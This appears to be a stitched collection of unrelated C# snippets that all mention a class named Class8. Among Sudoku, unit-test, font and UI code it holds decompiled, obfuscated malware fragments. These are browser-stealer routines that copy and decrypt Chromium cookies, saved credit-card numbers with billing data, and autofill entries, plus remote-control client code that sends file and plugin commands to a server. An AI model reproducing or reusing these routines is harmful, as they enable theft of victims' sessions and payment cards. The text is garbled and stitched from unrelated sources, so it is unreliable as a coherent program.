// Token: 0x060000FF RID: 255 RVA: 0x00006F30 File Offset: 0x00005130 public static void smethod_3(object[] object_0) { string text = (string)object_0[0]; Guid guid_ = (Guid)object_0[1]; Guid guid = (Guid)object_0[2]; if (Class8.dictionary_2.ContainsKey(text)) { return; } Client client = Class8.smethod_39(); Class8.dictionary_2.Add(text, client); GClass3 gclass3_ = null; if (!(guid == Guid.Empty)) { gclass3_ = Class23.smethod_1(guid).gclass3_0; } client.method_31(new GClass0()); client.method_30().method_0(guid_, text, gclass3_); client.method_4(new Client.GDelegate4(Class8.smethod_78)); client.method_6(new Client.GDelegate2(Class8.smethod_77)); client.method_2(new Client.GDelegate7(Class8.smethod_79)); client.method_14(new Client.GDelegate9(Class8.smethod_81)); client.method_44(Class8.smethod_65(), Class24.smethod_6()); }
private void btnGo_Click(object sender, EventArgs e) { this.N8_Load(sender, e); Class8 n8 = new Class8(); //Nạp ma trận lên và hiển thị hình ảnh TextBox[,] lbl = lbl = n8.clickMove81toArray( lbl11, lbl12, lbl13, lbl14, lbl15, lbl16, lbl17, lbl18, lbl21, lbl22, lbl23, lbl24, lbl25, lbl26, lbl27, lbl28, lbl31, lbl32, lbl33, lbl34, lbl35, lbl36, lbl37, lbl38, lbl41, lbl42, lbl43, lbl44, lbl45, lbl46, lbl47, lbl48, lbl51, lbl52, lbl53, lbl54, lbl55, lbl56, lbl57, lbl58, lbl61, lbl62, lbl63, lbl64, lbl65, lbl66, lbl67, lbl68, lbl71, lbl72, lbl73, lbl74, lbl75, lbl76, lbl77, lbl78, lbl81, lbl82, lbl83, lbl84, lbl85, lbl86, lbl87, lbl88, nb); if (n8.checkFeasible(nb, 8) == false) { MessageBox.Show("Can't play this! You must clear and replay", "Check Maxtrix", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { // Giải ma trận rỗng một cách ngẫu nhiên n8.solveSudoku(nb, 0, 0, 8); for (int i = 0; i < 8; i++) { for (int j = 0; j < 8; j++) { lbl[i, j].Text = nb[i, j].Value.ToString(); } } } }
// Token: 0x06000101 RID: 257 RVA: 0x00007010 File Offset: 0x00005210 public static void smethod_5(object[] object_0) { string string_ = (string)object_0[0]; if ((bool)object_0[1]) { try { string text = Class8.smethod_61(string_); if (!string.IsNullOrEmpty(text)) { Class20.smethod_8(text); } } catch (Exception exception_) { Class8.smethod_62(string_); Class8.smethod_86(exception_, "HandleBaseCommandExceptionHash"); } } if (Class8.queue_0.Count != 0) { Class20.smethod_7(Class8.queue_0.Dequeue()); } }
public Class5(Class8 class8_1, IPEndPoint ipendPoint_1, CbGeneric <Interface5, IMessageHandler> pointer, int int_5) : base(class8_1.method_2(), ipendPoint_1, pointer, int_5) { this.int_3 = 0; this.class8_0 = class8_1; this.byte_0 = new byte[this.class8_0.cXkPpBiZo7()]; this.int_4 = GenericKMP.Next <byte>(class8_1.method_4()); }
// Token: 0x06000057 RID: 87 RVA: 0x000079E4 File Offset: 0x00005BE4 internal static void smethod_3(byte[] byte_0, byte[] byte_1) { byte[] array = Arrays.Clone(byte_0); byte[] array2 = new byte[16]; for (int i = 0; i < 16; i++) { byte b = byte_1[i]; for (int j = 7; j >= 0; j--) { if (((int)b & 1 << j) != 0) { Class8.smethod_9(array2, array); } bool flag = (array[15] & 1) > 0; Class8.smethod_6(array); if (flag) { byte[] array3 = array; int num = 0; array3[num] ^= 225; } } } Array.Copy(array2, 0, byte_0, 0, 16); }
// Token: 0x06000104 RID: 260 RVA: 0x000070FC File Offset: 0x000052FC public static void smethod_8(string string_0) { Class8.smethod_88(Class8.client_0, true, CommandType.BaseCommand, 8, new object[] { string_0 }); }
internal static void smethod_6(byte[] byte_0) { Class8 class1 = new Class8(); class1.byte_0 = byte_0; Task.Run(new Func <Task>(class1.method_0)); }
public void TestMethod8() { var originalClass = typeof(Class8); Assert.IsNotNull(originalClass); var originalMethod = originalClass.GetMethod("Method8"); Assert.IsNotNull(originalMethod); var patchClass = typeof(Class8Patch); var postfix = patchClass.GetMethod("Postfix"); Assert.IsNotNull(postfix); var instance = HarmonyInstance.Create("test"); Assert.IsNotNull(instance); var patcher = new PatchProcessor(instance, new List <MethodBase> { originalMethod }, null, new HarmonyMethod(postfix)); Assert.IsNotNull(patcher); patcher.Patch(); var result = Class8.Method8("patched"); Assert.IsTrue(Class8.mainRun); Assert.AreEqual(10, result.a); Assert.AreEqual(20, result.b); }
private void button3_Click(object sender, EventArgs e) { if (this.comboBox2.Text == "" || this.textBox2.Text == "" || this.textBox4.Text == "" || this.textBox1.Text == "" || this.textBox3.Text == "") { MessageBox.Show("Fill all data", "Information", MessageBoxButtons.OK, MessageBoxIcon.Hand); } else { try { if (this.int_0 > -1) { Class1.class7_0.dictionary_0[this.int_0].byte_0 = Encoding.Default.GetBytes(Class16.smethod_2(this.textBox4.Text)); Class1.class7_0.dictionary_0[this.int_0].string_0 = this.textBox1.Text; Class1.class7_0.dictionary_0[this.int_0].int_0 = Convert.ToInt32(this.textBox2.Text); Class1.class7_0.dictionary_0[this.int_0].bool_0 = (this.comboBox2.Text == "Server"); } else { Class8 @class = new Class8(); @class.byte_0 = Encoding.Default.GetBytes(Class16.smethod_2(this.textBox4.Text)); @class.string_0 = this.textBox1.Text; @class.int_0 = Convert.ToInt32(this.textBox2.Text); @class.bool_0 = (this.comboBox2.Text == "Server"); Class1.class7_0.method_0(@class); } base.Close(); } catch { MessageBox.Show("Bad data", "Information", MessageBoxButtons.OK, MessageBoxIcon.Hand); } } }
// Token: 0x06000005 RID: 5 private static List <Cookie> fetch_cookies(string string_0) { List <Cookie> result; if (!File.Exists(string_0)) { result = null; } else { try { string text = Path.GetTempPath() + "/" + Class8.Random_string() + ".fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_0, text, true); SqlHandler sqlHandler = new SqlHandler(text); sqlHandler.ReadTable("cookies"); List <Cookie> list = new List <Cookie>(); for (int i = 0; i < sqlHandler.GetRowCount(); i++) { try { string value = string.Empty; try { value = Encoding.UTF8.GetString(Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 12)), null)); } catch (Exception) { } bool flag; bool.TryParse(sqlHandler.GetValue(i, 6), out flag); list.Add(new Cookie { domain = sqlHandler.GetValue(i, 1), name = sqlHandler.GetValue(i, 2), path = sqlHandler.GetValue(i, 4), expirationDate = sqlHandler.GetValue(i, 5), secure = flag.ToString().ToUpper(), value = value, hostOnly = "TRUE" }); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } result = list; } catch { result = new List <Cookie>(); } } return(result); }
public void method_0(MemoryStream output) { Class2 class2 = this.class80_0.method_3(); Class11 class11 = this.class80_0.method_4(); Class8 class8 = this.class80_0.method_5(); Class13 class13 = this.class80_0.method_7(true); Class7 class7 = this.class80_0.method_9(true); Class9 glyfTable = this.class80_0.method_10(); Class3 class3 = this.class80_0.method_8(); Class5 class5 = Class56.smethod_0(glyfTable); Class6 class6 = this.method_1(glyfTable); class11.GlyphCount = glyfTable.Count; class8.HMetricCount = glyfTable.Count; ns3.Class79 class79 = new ns3.Class79((Stream)output); class79.method_0((Class0)class2); class79.method_0((Class0)class11); class79.method_0((Class0)class8); class79.method_0((Class0)class6); if (class13 != null) { class79.method_0((Class0)class13); } class79.method_0((Class0)class3); if (class7 != null) { class79.method_0((Class0)class7); } class79.method_0((Class0)class5); class79.method_0((Class0)glyfTable); class79.method_1(); }
public void Test_Method8() { var originalClass = typeof(Class8); Assert.NotNull(originalClass); var originalMethod = originalClass.GetMethod("Method8"); Assert.NotNull(originalMethod); var patchClass = typeof(Class8Patch); var postfix = patchClass.GetMethod("Postfix"); Assert.NotNull(postfix); var instance = new Harmony("test"); Assert.NotNull(instance); var patcher = instance.CreateProcessor(originalMethod); Assert.NotNull(patcher); _ = patcher.AddPostfix(postfix); Assert.NotNull(patcher); _ = patcher.Patch(); var result = Class8.Method8("patched"); Assert.True(Class8.mainRun); Assert.AreEqual(10, result.a); Assert.AreEqual(20, result.b); }
// Token: 0x0600001F RID: 31 RVA: 0x00003504 File Offset: 0x00001704 public static void smethod_5(bool bool_2) { Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 0, new object[] { bool_2 }); }
public void method_2(short short_0, short short_1) { IntPtr intPtr = this.method_0(short_0, short_1); Class8.PostMessage(this.int_0, 513, IntPtr.Zero, intPtr); Class8.PostMessage(this.int_0, 514, IntPtr.Zero, intPtr); }
public void Test1() { int[] expected = new int[] { 0, 0, 0, 1, 2, 3, 4 }; int[] arr = new int[] { 4, 2, 0, 1, 0, 3, 0 }; var actual = Class8.MoveZerosToStart(arr); Assert.Equal(expected, actual); }
// Token: 0x060001BD RID: 445 RVA: 0x00002EA8 File Offset: 0x000010A8 private void ClientLoaderForm_FormClosing(object sender, FormClosingEventArgs e) { Class8.smethod_40(false); if (Class8.byte_1 != null) { Class8.smethod_92(); } }
protected override void vmethod_0() { this.object_5 = (ITextContractHelper)base.GetStreamContract(); Class8 class2 = new Class8((NetworkStream)base.object_0, base.imethod_9(), this.object_5.imethod_10(), (Interface10)this.object_5); this.class5_0 = new Class5(class2, base.ipendPoint_0, null, base.UncompletedSendingCount4Busy); base.object_0.BeginRead(this.class5_0.method_4(), this.class5_0.method_5(), this.class5_0.method_6(), new AsyncCallback(this.ReceiveCallback), base.object_0); }
public void Test4() { int[] expected = null; int[] arr = null; var actual = Class8.MoveZerosToStart(arr); Assert.Equal(expected, actual); }
// Token: 0x06000058 RID: 88 private static List <CardData> fetch_cookies(string string_0) { List <CardData> result; if (!File.Exists(string_0)) { result = null; } else { try { string text = Path.GetTempPath() + "/" + Class8.Random_string() + ".fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_0, text, true); SqlHandler sqlHandler = new SqlHandler(text); sqlHandler.ReadTable("CC"); List <CardData> list = new List <CardData>(); for (int i = 0; i < sqlHandler.GetRowCount(); i++) { try { string number = string.Empty; try { number = Encoding.UTF8.GetString(Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 12)), null)); } catch (Exception) { } bool flag; bool.TryParse(sqlHandler.GetValue(i, 6), out flag); list.Add(new CardData { Name = sqlHandler.GetValue(i, 1), Exp_m = sqlHandler.GetValue(i, 2), Exp_y = sqlHandler.GetValue(i, 3), Number = number, Billing = sqlHandler.GetValue(i, 9) }); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } result = list; } catch { result = new List <CardData>(); } } return(result); }
// Token: 0x060000E1 RID: 225 RVA: 0x00006808 File Offset: 0x00004A08 public static void smethod_12(Guid guid_0, string string_0, long long_0, int int_0) { byte[] array = Class7.smethod_5(string_0, long_0, int_0); Class8.smethod_90(Class27.string_0, true, CommandType.FileCommand, 5, new object[] { guid_0, array }); }
// Token: 0x060000E0 RID: 224 RVA: 0x000067C8 File Offset: 0x000049C8 public static void smethod_11(Guid guid_0, string string_0, long long_0, byte[] byte_0) { Class7.smethod_6(string_0, byte_0, long_0); Class8.smethod_90(Class27.string_0, true, CommandType.FileCommand, 4, new object[] { guid_0, byte_0.Length }); }
// Token: 0x06000102 RID: 258 RVA: 0x00007098 File Offset: 0x00005298 public static void smethod_6(Guid guid_0, string string_0, string string_1, Version version_0) { Class8.smethod_88(Class8.client_0, true, CommandType.BaseCommand, 0, new object[] { guid_0, string_0, string_1, version_0.ToString() }); }
// Token: 0x06000058 RID: 88 RVA: 0x00007A70 File Offset: 0x00005C70 internal static void smethod_4(uint[] uint_0) { bool flag = (uint_0[3] & 1U) > 0U; Class8.smethod_7(uint_0); if (flag) { uint_0[0] ^= 3774873600U; } }
// Token: 0x060000DE RID: 222 RVA: 0x00006750 File Offset: 0x00004950 public static void smethod_9(Guid guid_0, string string_0, long long_0, long long_1, string string_1) { bool flag = Class7.smethod_3(string_0, long_0, long_1, string_1); Class8.smethod_88(Class8.client_0, true, CommandType.FileCommand, 2, new object[] { guid_0, flag }); }
// Token: 0x060000DF RID: 223 RVA: 0x00006790 File Offset: 0x00004990 public static void smethod_10(Guid guid_0, string string_0, long long_0) { string text = Class7.smethod_4(string_0, long_0); Class8.smethod_88(Class8.client_0, true, CommandType.FileCommand, 3, new object[] { guid_0, text }); }
public void ClassSize8() { for (int i = 0; i < _class8.Length; i++) { Class8 s = new Class8(); s.Value1 = i; s.Value2 = i; _class8[i] = s; } }
// Token: 0x06000044 RID: 68 RVA: 0x0000559C File Offset: 0x0000379C private static List <FormData> smethod_1(string string_0) { List <FormData> result; if (!File.Exists(string_0)) { result = null; } else { try { string text = Path.GetTempPath() + "/" + Class8.Random_string() + ".fv"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_0, text, true); SqlHandler sqlHandler = new SqlHandler(text); sqlHandler.ReadTable("Autofill"); List <FormData> list = new List <FormData>(); for (int i = 0; i < sqlHandler.GetRowCount(); i++) { try { try { Encoding.UTF8.GetString(Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 12)), null)); } catch (Exception) { } bool flag; bool.TryParse(sqlHandler.GetValue(i, 6), out flag); list.Add(new FormData { Name = sqlHandler.GetValue(i, 0), Value = sqlHandler.GetValue(i, 1) }); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } result = list; } catch { result = new List <FormData>(); } } return(result); }
// Token: 0x0600001C RID: 28 RVA: 0x0000314C File Offset: 0x0000134C public static void smethod_2(object[] object_0) { DateTime dateTime_ = (DateTime)object_0[0]; byte[] byte_ = (byte[])object_0[1]; Class8.dateTime_0 = dateTime_; Class8.byte_1 = byte_; Class8.byte_0 = Class27.smethod_2(Class8.byte_1); Class8.smethod_9(); Class5.smethod_6(); }
// Token: 0x060000DC RID: 220 RVA: 0x000066C4 File Offset: 0x000048C4 public static void smethod_7(Guid guid_0, string string_0) { GStruct3 gstruct = Class7.smethod_1(string_0); Class8.smethod_88(Class8.client_0, true, CommandType.FileCommand, 0, new object[] { guid_0, gstruct.long_0, gstruct.string_0 }); }
// Token: 0x06000062 RID: 98 RVA: 0x00007BF8 File Offset: 0x00005DF8 public void Init(byte[] H) { this.uint_0[0] = new uint[16][]; this.uint_0[1] = new uint[16][]; this.uint_0[0][0] = new uint[4]; this.uint_0[1][0] = new uint[4]; this.uint_0[1][8] = Class8.smethod_2(H); for (int i = 4; i >= 1; i >>= 1) { uint[] array = (uint[])this.uint_0[1][i + i].Clone(); Class8.smethod_4(array); this.uint_0[1][i] = array; } uint[] array2 = (uint[])this.uint_0[1][1].Clone(); Class8.smethod_4(array2); this.uint_0[0][8] = array2; for (int j = 4; j >= 1; j >>= 1) { uint[] array3 = (uint[])this.uint_0[0][j + j].Clone(); Class8.smethod_4(array3); this.uint_0[0][j] = array3; } int num = 0; for (;;) { for (int k = 2; k < 16; k += k) { for (int l = 1; l < k; l++) { uint[] array4 = (uint[])this.uint_0[num][k].Clone(); Class8.smethod_10(array4, this.uint_0[num][l]); this.uint_0[num][k + l] = array4; } } if (++num == 32) { break; } if (num > 1) { this.uint_0[num] = new uint[16][]; this.uint_0[num][0] = new uint[4]; for (int m = 8; m > 0; m >>= 1) { uint[] array5 = (uint[])this.uint_0[num - 2][m].Clone(); Class8.smethod_5(array5); this.uint_0[num][m] = array5; } } } }
// Token: 0x06000074 RID: 116 RVA: 0x00008620 File Offset: 0x00006820 private byte[] method_3(byte[] byte_10) { byte[] array = new byte[16]; for (int i = 0; i < byte_10.Length; i += 16) { byte[] destinationArray = new byte[16]; int length = Math.Min(byte_10.Length - i, 16); Array.Copy(byte_10, i, destinationArray, 0, length); Class8.smethod_9(array, destinationArray); this.igcmMultiplier_0.MultiplyH(array); } return(array); }
public int method_0(Class8 class8_0) { int result; lock (this.dictionary_0) { class8_0.bool_1 = true; Thread thread = new Thread(new ThreadStart(class8_0.method_0)); thread.Start(); int num = this.int_0++; this.dictionary_0.Add(num, class8_0); result = num; } return result; }
private void openFileDialog_0_FileOk(object sender, CancelEventArgs e) { if (this.openFileDialog_0.FileName != "") { Class3 class2 = new Class3(this.openFileDialog_0.FileName); int num = class2.method_0(); for (int i = 0; i < num; i++) { Class8 class3 = new Class8 { byte_0 = Convert.FromBase64String(class2.method_1()), string_0 = class2.method_1(), int_0 = class2.method_0(), bool_0 = class2.method_1() == "1" }; Class1.class7_0.method_0(class3); } this.method_0(); } }
private void openFileDialog_0_FileOk(object sender, CancelEventArgs e) { if (!(this.openFileDialog_0.FileName == "")) { Class3 @class = new Class3(this.openFileDialog_0.FileName); int num = @class.method_0(); for (int i = 0; i < num; i++) { Class8 class2 = new Class8(); class2.byte_0 = Convert.FromBase64String(@class.method_1()); class2.string_0 = @class.method_1(); class2.int_0 = @class.method_0(); class2.bool_0 = (@class.method_1() == "1"); Class1.class7_0.method_0(class2); } this.method_0(); } }
private void method_4(Point point_1) { var layout = _dockContainer.GetLayoutSystemAt(point_1); if (layout is ControlLayoutSystem && class7_0 == null) { ControlLayoutSystem controlLayoutSystem = (ControlLayoutSystem)layout; DockControl controlAt = controlLayoutSystem.GetControlAt(point_1); class7_0 = new Class8(_dockContainer.Manager, _dockContainer, controlLayoutSystem, controlAt, controlLayoutSystem.SelectedControl.MetaData.DockedContentSize, point_1, DockingHints.TranslucentFill); class7_0.DockingManagerFinished += vmethod_0; class7_0.Cancalled += vmethod_1; _dockContainer.Capture = true; } }